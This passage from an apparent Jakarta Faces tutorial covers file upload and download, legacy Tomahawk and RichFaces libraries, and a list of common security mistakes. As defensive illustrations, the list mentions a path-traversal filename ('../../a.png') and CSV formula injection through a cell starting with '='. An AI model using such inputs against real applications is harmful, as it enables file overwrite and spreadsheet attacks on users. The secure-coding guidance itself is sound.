org.apache.myfaces.tomahawk, with artifactstomahawk12,tomahawk20andtomahawk21) is 1.1.14 from October 2012, and the newest RichFaces release (org.richfaces) is 4.5.17.Final from June 2016 (checked 2026-10-08). Both predate the move to thejakarta.facesnamespace, so their tags cannot be used on Faces 4.1 without a port. -
Use the current alternatives.
h:inputFile, OmniFaceso:inputFileand PrimeFacesp:fileUploadfor uploads, and the ExternalContext recipe of this page, OmniFacesFaces.sendFileor PrimeFacesp:fileDownloadfor downloads. -
The security advice is missing from the era’s recipes. Content-type sniffing by signature, generated stored names and CSV formula escaping are not part of a 2010 tutorial. Apply the sections above even when adapting an old recipe.
The PrimeFaces Cookbook (Mert Çalışkan and Oleg Varaksin, second edition, Packt, 2015) covers PrimeFaces upload and download components of PrimeFaces 5; the idea (a component with progress and drag and drop) holds, but attribute names and defaults changed across later PrimeFaces versions, so check the PrimeFaces 16 documentation. The statements about both books rest on the section’s concept list for each book and on the Maven Central metadata above, not on a page-by-page reading.
Common Mistakes
-
A form without
enctype="multipart/form-data". The file never arrives; in non-production stages Faces adds a message, in production it does not. -
Trusting
accept, the extension orContent-Type. All are client-controlled; check the content. -
Using
getSubmittedFileName()as a path. It returned../../a.pngunchanged. Generate names. -
Keeping a
Partafter the request. The container reclaims its storage; copy what you need. -
No hard limit. With the default
@MultipartConfiga single request can be as large as the container allows. -
Forgetting
responseComplete()in a download action, or running the download inside an Ajax request. -
Putting user text in a CSV cell unescaped. A title beginning with
=becomes a formula in the victim’s spreadsheet. -
Serving user uploads inline without
nosniffand a fixed content type.
References
-
Jakarta Faces 4.1 specification, 2.2 Standard Request Processing Lifecycle Phases
-
Jakarta EE Tutorial: Adding Components to a Page Using HTML Tag Library Tags
-
RFC 8187: Indicating Character Encoding and Language for HTTP Header Field Parameters
-
Leonard: JSF 2.0 Cookbook, Packt, 2010, publisher page
-
Çalışkan, Varaksin: PrimeFaces Cookbook, Second Edition, Packt, 2015, publisher page